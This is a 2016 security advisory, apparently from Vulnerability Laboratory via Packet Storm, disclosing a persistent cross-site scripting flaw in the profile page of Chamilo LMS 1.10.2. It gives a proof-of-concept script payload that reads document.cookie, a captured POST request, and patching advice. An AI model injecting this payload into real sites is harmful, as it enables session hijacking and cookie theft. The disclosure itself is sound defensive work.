Chamilo LMS 1.10.2 Cross Site Scripting

Type packetstorm
Reporter Lawrence Amer
Modified 2016-03-16T00:00:00


                                            `Document Title:  
Chamlio LMS v1.10.2 - (Profile) Persistent Web Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Product & Service Introduction:  
Chamilo is an open-source (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education   
and knowledge globally. It is backed up by the Chamilo Association, which has goals including the promotion of the software, the   
maintenance of a clear communication channel and the building of a network of services providers and software contributors.  
The Chamilo project aims at ensuring the availability and quality of education at a reduced cost, through the distribution of its   
software free of charge, the improvement of its interface for 3rd world countries devices portability and the provision of a free   
access public e-learning campus.  
(Copy of the Vendor Homepage: )  
Abstract Advisory Information:  
An independent vulnerability laboratory researcher discovered an application-side cross site vulnerability in the offical Chamilo LMS web-application.  
Vulnerability Disclosure Timeline:  
2016-03-14: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Affected Product(s):  
Product: Chamlio LMS - Content Management System (Web-Application) 1.10.2   
Exploitation Technique:  
Severity Level:  
Technical Details & Description:  
A persistent cross site scripting web vulnerability has been discoverd in the offical Chamilo LMS content management web-application.   
The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module.  
The vulnerability is Located in `User Profile` page of the web-application. Remote attackers with low privileged web-application user   
accounts are able to inject own malicious script code via POST method request to the application-side. The injection point is the vulnerable   
[extra_mobile_phone_number] parameter in upload POST method request. The request method to inject is POST and the vulnerability is located to   
the application-side of the vulnerable online-service.  
The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.   
Exploitation of the persistent web vulnerability requires a low privileged ios device account with restricted access and low user interaction.   
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious   
sources and application-side manipulation of affected or connected module context.  
Request Method(s):  
[+] POST  
Affected Module(s):  
[+] auth/profile.php   
Vulnerable Parameter(s):  
[+] extra_mobile_phone_number  
Proof of Concept (PoC):  
The security vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
Manual steps to reproduce the vulnerability ...  
1. User edited his own profile throught registration process or throught edit user profile option in chamilo LMS platform   
2. User fill in the option for his/her mobile phone with a persistent code [ '><iframe src= onload=alert(document.cookie) < ]   
--- PoC Session Logs [POST] ---  
POST /site/main/auth/profile.php? HTTP/1.1  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: defaultMyCourseView15=0; __cfduid=dcb5fdb8a711dd176639addf2c390449a331452648620; ch_sid=d8e8ff97d740sq22afca42853b2dca29273  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=---------------------------37939813317594530581121058221  
Content-Length: 2561  
Content-Disposition: form-data; name="firstname"  
Content-Disposition: form-data; name="lastname"  
Content-Disposition: form-data; name="username"  
Content-Disposition: form-data; name="official_code"  
Content-Disposition: form-data; name="email"  
Content-Disposition: form-data; name="phone"  
Content-Disposition: form-data; name="picture"; filename=""  
Content-Type: application/octet-stream  
Content-Disposition: form-data; name="language"  
Content-Disposition: form-data; name="password0"  
Content-Disposition: form-data; name="password1"  
Content-Disposition: form-data; name="password2"  
Content-Disposition: form-data; name="extra_mail_notify_invitation"  
Content-Disposition: form-data; name="extra_mail_notify_message"  
Content-Disposition: form-data; name="extra_mail_notify_group_message"  
Content-Disposition: form-data; name="extra_mobile_phone_number"  
Content-Disposition: form-data; name="apply_change"  
Content-Disposition: form-data; name="_qf__profile"  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
Content-Disposition: form-data; name="cropResult"  
Content-Disposition: form-data; name="item_id"  
Solution - Fix & Patch:  
The vulnerability can be patched by a secure parse and encode of vulnerable [extra_mobile_phone_number] parameter that is used for the input field.  
Restrict the input and disallow usage of special chars. Filter and setup a secure exception handling that prevents the persistent execution in the   
output location of the profile.  
Security Risk:  
The security risk of the application-side validation web vulnerability in the profile module is estimated as medium. (CVSS 3.4)  
Credits & Authors:  
Vulnerability Laboratory [Research Team] - Lawrence Amer -  
Disclaimer & Information:  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,   
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,   
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised   
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing   
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
Domains: - -  
Contact: - -  
Section: - -  
Social: - -  
Feeds: - -  
Programs: - -  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically   
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or   
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific   
authors or managers. To record, list, modify, use or edit our material contact (admin@ or to get a ask permission.  
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™